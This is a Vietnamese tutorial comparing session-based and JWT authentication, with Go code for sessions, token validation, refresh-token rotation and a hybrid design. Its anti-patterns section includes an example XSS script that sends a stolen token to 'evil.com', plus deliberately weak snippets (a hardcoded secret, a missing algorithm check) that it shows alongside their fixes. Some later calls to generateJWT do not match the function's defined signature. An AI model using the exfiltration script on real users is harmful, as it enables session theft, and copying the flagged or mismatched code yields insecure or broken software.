Session-based vs JWT: So sánh chi tiết
Đây là câu hỏi quen thuộc trong system design interview và real-world projects: Nên dùng session-based hay JWT? Câu trả lời không phải "cái nào tốt hơn" mà là "cái nào phù hợp hơn với context của bạn".
🎯 TL;DR: Session-based = stateful, full control. JWT = stateless, scalable. Chọn based on trade-offs.
Bảng so sánh nhanh
| Tiêu chí | Session-based | JWT |
|---|---|---|
| State | Stateful (server lưu session) | Stateless (info trong token) |
| Storage | Redis, DB, in-memory | Client cookie/localStorage |
| Revocation | ✅ Dễ (xóa session) | ❌ Khó (phải blacklist hoặc chờ expire) |
| Scalability | ❌ Cần shared store | ✅ Scale horizontal dễ |
| Size | Nhỏ (chỉ session ID) | Lớn hơn (payload data) |
| Cross-domain | ❌ Khó (cookie limitations) | ✅ Dễ (header-based) |
| Security | ✅ Controlled by server | ⚠️ Client có thể decode (không mã hóa) |
| Token rotation | Không cần | Phức tạp (refresh token) |
Khi nào dùng Session?
Monolithic apps, cần revoke ngay lập tức, ít servers.
Khi nào dùng JWT?
Microservices, mobile apps, third-party APIs, high traffic.
Deep Dive: Session-based Authentication
Architecture
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Client │ │ Server │ │ Redis │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /login │ │
│ (user, pass) │ │
├───────────────────►│ │
│ │ 2. Verify password │
│ │ │
│ │ 3. sessionID=uuid() │
│ │ │
│ │ 4. SET session:abc │
│ │ → {"userID":123} │
│ ├────────────────────►│
│ │ │
│ 5. Set-Cookie: │ │
│ sessionID=abc │ │
│◄───────────────────┤ │
│ │ │
│ 6. GET /api/data │ │
│ Cookie: abc │ │
├───────────────────►│ 7. GET session:abc │
│ ├────────────────────►│
│ │ 8. {"userID":123} │
│ │◄────────────────────┤
│ │ 9. Fetch user data │
│ │ & authorize │
│ 10. Response │ │
│◄───────────────────┤ │
│ │ │
Implementation
package main
import (
"context"
"crypto/rand"
"encoding/hex"
"net/http"
"time"
"github.com/redis/go-redis/v9"
)
type SessionStore struct {
redis *redis.Client
}
func NewSessionStore(addr string) *SessionStore {
return &SessionStore{
redis: redis.NewClient(&redis.Options{
Addr: addr,
}),
}
}
// Generate random session ID
func generateSessionID() string {
b := make([]byte, 32)
rand.Read(b)
return hex.EncodeToString(b)
}
// Create session
func (s *SessionStore) Create(userID int64, ttl time.Duration) (string, error) {
sessionID := generateSessionID()
ctx := context.Background()
err := s.redis.Set(ctx, "session:"+sessionID, userID, ttl).Err()
if err != nil {
return "", err
}
return sessionID, nil
}
// Get user ID from session
func (s *SessionStore) Get(sessionID string) (int64, error) {
ctx := context.Background()
userID, err := s.redis.Get(ctx, "session:"+sessionID).Int64()
if err == redis.Nil {
return 0, ErrSessionNotFound
}
return userID, err
}
// Delete session (logout)
func (s *SessionStore) Delete(sessionID string) error {
ctx := context.Background()
return s.redis.Del(ctx, "session:"+sessionID).Err()
}
// Refresh session TTL
func (s *SessionStore) Refresh(sessionID string, ttl time.Duration) error {
ctx := context.Background()
return s.redis.Expire(ctx, "session:"+sessionID, ttl).Err()
}
// Login handler
func loginHandler(w http.ResponseWriter, r *http.Request, store *SessionStore) {
// 1. Verify credentials (omitted for brevity)
userID := int64(123)
// 2. Create session
sessionID, err := store.Create(userID, 24*time.Hour)
if err != nil {
http.Error(w, "Internal error", 500)
return
}
// 3. Set cookie
http.SetCookie(w, &http.Cookie{
Name: "sessionID",
Value: sessionID,
HttpOnly: true, // Prevent XSS
Secure: true, // HTTPS only
SameSite: http.SameSiteStrictMode,
MaxAge: 86400, // 24 hours
Path: "/",
})
w.WriteHeader(200)
}
// Auth middleware
func sessionAuthMiddleware(store *SessionStore) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("sessionID")
if err != nil {
http.Error(w, "Unauthorized", 401)
return
}
userID, err := store.Get(cookie.Value)
if err != nil {
http.Error(w, "Unauthorized", 401)
return
}
// Refresh session on each request (sliding expiration)
store.Refresh(cookie.Value, 24*time.Hour)
// Attach user to context
ctx := context.WithValue(r.Context(), "userID", userID)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
}
// Logout handler
func logoutHandler(w http.ResponseWriter, r *http.Request, store *SessionStore) {
cookie, err := r.Cookie("sessionID")
if err != nil {
http.Error(w, "Bad request", 400)
return
}
store.Delete(cookie.Value)
// Clear cookie
http.SetCookie(w, &http.Cookie{
Name: "sessionID",
Value: "",
MaxAge: -1,
Path: "/",
})
w.WriteHeader(200)
}
Pros của Session-based
✅ Server-side control: Có thể revoke session bất cứ lúc nào
✅ Security: Session ID không chứa data, không thể decode
✅ Small cookie size: Chỉ gửi session ID
✅ Easy logout: Xóa session = logout ngay lập tức
✅ Sliding expiration: Dễ dàng renew session khi user active
Cons của Session-based
❌ Stateful: Phải maintain session store
❌ Scalability: Horizontal scaling cần shared Redis/DB
❌ Cross-domain khó: Cookie không work tốt cross-domain
❌ Single point of failure: Nếu Redis chết → tất cả users bị logout
Deep Dive: JWT Authentication
Architecture
┌──────────┐ ┌──────────┐
│ Client │ │ Server │
└────┬─────┘ └────┬─────┘
│ │
│ 1. POST /login (user, pass) │
├────────────────────────────────────►│
│ │
│ 2. Verify password
│ 3. Generate JWT:
│ Header + Payload + Signature
│ sign với secret key
│ │
│ 4. Return JWT token │
│◄────────────────────────────────────┤
│ │
│ (Client lưu JWT trong │
│ localStorage hoặc cookie) │
│ │
│ 5. GET /api/data │
│ Authorization: Bearer <JWT> │
├────────────────────────────────────►│
│ 6. Verify JWT signature
│ 7. Extract userID từ payload
│ 8. Check expiry
│ 9. Authorize request
│ │
│ 10. Response │
│◄────────────────────────────────────┤
│ │
Implementation
package main
import (
"errors"
"net/http"
"strings"
"time"
"github.com/golang-jwt/jwt/v5"
)
var (
jwtSecret = []byte("your-secret-key-change-in-production")
ErrInvalidToken = errors.New("invalid token")
)
type Claims struct {
UserID int64 `json:"user_id"`
Email string `json:"email"`
Role string `json:"role"`
jwt.RegisteredClaims
}
// Generate JWT
func generateJWT(userID int64, email, role string) (string, error) {
claims := Claims{
UserID: userID,
Email: email,
Role: role,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(24 * time.Hour)),
IssuedAt: jwt.NewNumericDate(time.Now()),
NotBefore: jwt.NewNumericDate(time.Now()),
Issuer: "myapp",
Subject: email,
},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString(jwtSecret)
}
// Validate JWT
func validateJWT(tokenString string) (*Claims, error) {
token, err := jwt.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
// Verify signing method
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, errors.New("unexpected signing method")
}
return jwtSecret, nil
})
if err != nil {
return nil, err
}
if claims, ok := token.Claims.(*Claims); ok && token.Valid {
return claims, nil
}
return nil, ErrInvalidToken
}
// Login handler
func jwtLoginHandler(w http.ResponseWriter, r *http.Request) {
// 1. Verify credentials (omitted)
userID := int64(123)
email := "alice@example.com"
role := "user"
// 2. Generate JWT
token, err := generateJWT(userID, email, role)
if err != nil {
http.Error(w, "Internal error", 500)
return
}
// 3. Return token
w.Header().Set("Content-Type", "application/json")
w.Write([]byte(`{"token": "` + token + `"}`))
}
// Auth middleware
func jwtAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 1. Extract token from header
authHeader := r.Header.Get("Authorization")
if authHeader == "" {
http.Error(w, "Missing authorization header", 401)
return
}
parts := strings.Split(authHeader, " ")
if len(parts) != 2 || parts[0] != "Bearer" {
http.Error(w, "Invalid authorization header", 401)
return
}
tokenString := parts[1]
// 2. Validate token
claims, err := validateJWT(tokenString)
if err != nil {
http.Error(w, "Invalid token", 401)
return
}
// 3. Attach claims to context
ctx := r.Context()
ctx = context.WithValue(ctx, "userID", claims.UserID)
ctx = context.WithValue(ctx, "email", claims.Email)
ctx = context.WithValue(ctx, "role", claims.Role)
next.ServeHTTP(w, r.WithContext(ctx))
})
}
Pros của JWT
✅ Stateless: Không cần session store, scale dễ dàng
✅ Self-contained: Tất cả info trong token
✅ Cross-domain: Work tốt với CORS, mobile apps
✅ Microservices-friendly: Mỗi service tự verify token
✅ Standard: RFC 7519, nhiều libraries
Cons của JWT
❌ Hard to revoke: Không thể "force logout" user (phải chờ token expire)
❌ Token size: Lớn hơn session ID, gửi với mỗi request
❌ Security risk: Nếu leak secret key → tất cả tokens bị compromise
❌ Client-side storage: Local storage dễ bị XSS attack
Giải quyết vấn đề Revocation của JWT
Vì JWT stateless nên không thể revoke trực tiếp. Có một số cách workaround:
1. Blacklist Tokens
Lưu revoked tokens vào Redis/DB cho đến khi chúng expire.
type TokenBlacklist struct {
redis *redis.Client
}
func (b *TokenBlacklist) Revoke(tokenString string, expiresAt time.Time) error {
ctx := context.Background()
ttl := time.Until(expiresAt)
return b.redis.Set(ctx, "blacklist:"+tokenString, true, ttl).Err()
}
func (b *TokenBlacklist) IsRevoked(tokenString string) bool {
ctx := context.Background()
exists, _ := b.redis.Exists(ctx, "blacklist:"+tokenString).Result()
return exists > 0
}
// Updated middleware
func jwtAuthWithBlacklist(blacklist *TokenBlacklist) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// ... extract token ...
if blacklist.IsRevoked(tokenString) {
http.Error(w, "Token revoked", 401)
return
}
// ... validate token ...
})
}
}
Trade-off: Bây giờ lại cần state (blacklist) → mất lợi ích stateless của JWT.
2. Short-lived Access Token + Refresh Token
Access token expire nhanh (5-15 phút), refresh token sống lâu (7-30 ngày).
┌─────────┐ ┌─────────┐
│ Client │ │ Server │
└────┬────┘ └────┬────┘
│ │
│ 1. Login │
├─────────────────────────►│
│ │
│ 2. access_token (15min) │
│ refresh_token (7days) │
│◄─────────────────────────┤
│ │
│ ... 15 minutes pass ... │
│ │
│ 3. Request with expired │
│ access_token │
├─────────────────────────►│
│ 4. 401 Unauthorized │
│◄─────────────────────────┤
│ │
│ 5. POST /refresh │
│ refresh_token │
├─────────────────────────►│
│ │
│ 6. Verify refresh_token
│ Check if revoked (in DB)
│ Generate new access_token
│ │
│ 7. new access_token │
│◄─────────────────────────┤
│ │
Implementation:
type RefreshToken struct {
Token string
UserID int64
ExpiresAt time.Time
Revoked bool
}
// Store refresh tokens in DB
func (db *DB) CreateRefreshToken(userID int64, ttl time.Duration) (string, error) {
token := generateRandomToken()
refreshToken := RefreshToken{
Token: token,
UserID: userID,
ExpiresAt: time.Now().Add(ttl),
Revoked: false,
}
return token, db.Insert(&refreshToken)
}
func (db *DB) ValidateRefreshToken(token string) (int64, error) {
var rt RefreshToken
err := db.QueryOne(&rt, "SELECT * FROM refresh_tokens WHERE token = ?", token)
if err != nil {
return 0, ErrInvalidToken
}
if rt.Revoked || time.Now().After(rt.ExpiresAt) {
return 0, ErrInvalidToken
}
return rt.UserID, nil
}
func (db *DB) RevokeRefreshToken(token string) error {
return db.Exec("UPDATE refresh_tokens SET revoked = true WHERE token = ?", token)
}
// Refresh endpoint
func refreshHandler(w http.ResponseWriter, r *http.Request, db *DB) {
refreshToken := r.FormValue("refresh_token")
userID, err := db.ValidateRefreshToken(refreshToken)
if err != nil {
http.Error(w, "Invalid refresh token", 401)
return
}
// Generate new access token
accessToken, _ := generateJWT(userID, "", "", 15*time.Minute)
w.Header().Set("Content-Type", "application/json")
w.Write([]byte(`{"access_token": "` + accessToken + `"}`))
}
Ưu điểm:
- Access token stateless, expire nhanh → giảm risk
- Refresh token có thể revoke (stored in DB)
- Logout = revoke refresh token
3. Short Expiry + Token Rotation
Mỗi lần refresh, generate cả access token MỚI và refresh token MỚI, revoke refresh token cũ.
func refreshWithRotation(w http.ResponseWriter, r *http.Request, db *DB) {
oldRefreshToken := r.FormValue("refresh_token")
userID, err := db.ValidateRefreshToken(oldRefreshToken)
if err != nil {
http.Error(w, "Invalid refresh token", 401)
return
}
// Revoke old refresh token
db.RevokeRefreshToken(oldRefreshToken)
// Generate new tokens
accessToken, _ := generateJWT(userID, "", "", 15*time.Minute)
newRefreshToken, _ := db.CreateRefreshToken(userID, 7*24*time.Hour)
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{
"access_token": accessToken,
"refresh_token": newRefreshToken,
})
}
Ưu điểm:
- Refresh token chỉ dùng 1 lần → nếu bị leak và reused, detect được
- Attack window nhỏ hơn
Hybrid Approach: Best of Both Worlds
Trong thực tế, nhiều hệ thống dùng hybrid:
- JWT cho API/microservices (stateless, scalable)
- Session cho admin panel (revokable, critical operations)
Hoặc:
- JWT access token (short-lived, 15 min)
- Session-based refresh token (stored in Redis, revokable)
type HybridAuth struct {
sessionStore *SessionStore
jwtSecret []byte
}
// Login: tạo cả JWT và session
func (h *HybridAuth) Login(userID int64, email string) (accessToken, sessionID string, err error) {
// JWT access token (15 min)
accessToken, err = generateJWT(userID, email, "", 15*time.Minute)
if err != nil {
return
}
// Session for refresh (7 days)
sessionID, err = h.sessionStore.Create(userID, 7*24*time.Hour)
return
}
// Refresh: dùng session để generate JWT mới
func (h *HybridAuth) Refresh(sessionID string) (string, error) {
userID, err := h.sessionStore.Get(sessionID)
if err != nil {
return "", err
}
// Generate new JWT
return generateJWT(userID, "", "", 15*time.Minute)
}
// Logout: xóa session
func (h *HybridAuth) Logout(sessionID string) error {
return h.sessionStore.Delete(sessionID)
}
Ưu điểm:
- Access token stateless → scale tốt
- Refresh được control bởi session → revoke được
- Best of both worlds
Decision Framework
Chọn Session-based nếu:
- ✅ Monolithic application
- ✅ Ít servers (1-3 instances)
- ✅ Cần revoke ngay lập tức (e.g., admin panel)
- ✅ Ưu tiên security hơn scalability
- ✅ Chỉ web browser, không có mobile app
Ví dụ: Internal admin dashboard, banking apps, healthcare systems
Chọn JWT nếu:
- ✅ Microservices architecture
- ✅ Mobile apps / third-party APIs
- ✅ High traffic cần scale horizontal
- ✅ Cross-domain authentication
- ✅ Serverless/stateless architecture
Ví dụ: Public APIs, SaaS platforms, mobile backends
Chọn Hybrid nếu:
- ✅ Cần cả scalability và revocation
- ✅ Có cả web và mobile
- ✅ Phân biệt access token (short) và refresh token (long)
Ví dụ: Hầu hết production apps lớn (Facebook, Google, etc.)
Anti-patterns & Common Mistakes
❌ Lưu JWT trong localStorage mà không cẩn thận XSS
// 🔥 BAD: Dễ bị XSS
localStorage.setItem('token', jwtToken);
// Attacker inject:
<script>
fetch('http://evil.com', {
method: 'POST',
body: localStorage.getItem('token')
});
</script>
Fix: Dùng httpOnly cookie hoặc in-memory storage.
❌ JWT không có expiry hoặc expiry quá dài
// 🔥 BAD: Token never expires
claims := Claims{
UserID: 123,
// No ExpiresAt!
}
Fix: Luôn set expiry, và dùng refresh token pattern.
❌ Hardcode secret key
// 🔥 BAD
var jwtSecret = []byte("mysecret123")
Fix: Dùng environment variable hoặc secret manager.
var jwtSecret = []byte(os.Getenv("JWT_SECRET"))
❌ Không verify signing algorithm
// 🔥 VULNERABLE to algorithm confusion attack
token, _ := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
return jwtSecret, nil // Missing algorithm check!
})
Fix: Verify algorithm.
token, _ := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, errors.New("unexpected signing method")
}
return jwtSecret, nil
})
Tóm tắt
| Scenario | Recommendation |
|---|---|
| Small monolith, <5 servers | Session-based |
| Microservices, mobile apps | JWT |
| Need instant revocation | Session or Hybrid |
| Public API | JWT with short expiry |
| Admin panel | Session-based |
| High security requirement | Hybrid (JWT + session refresh) |
Golden rule: Không có one-size-fits-all solution. Hiểu trade-offs và choose based on requirements.
Bước tiếp theo
oauth2-and-oidc.md— Third-party authenticationadvanced-auth.md— MFA, SSO, Zero Trust../secure-coding.md— Secure coding practices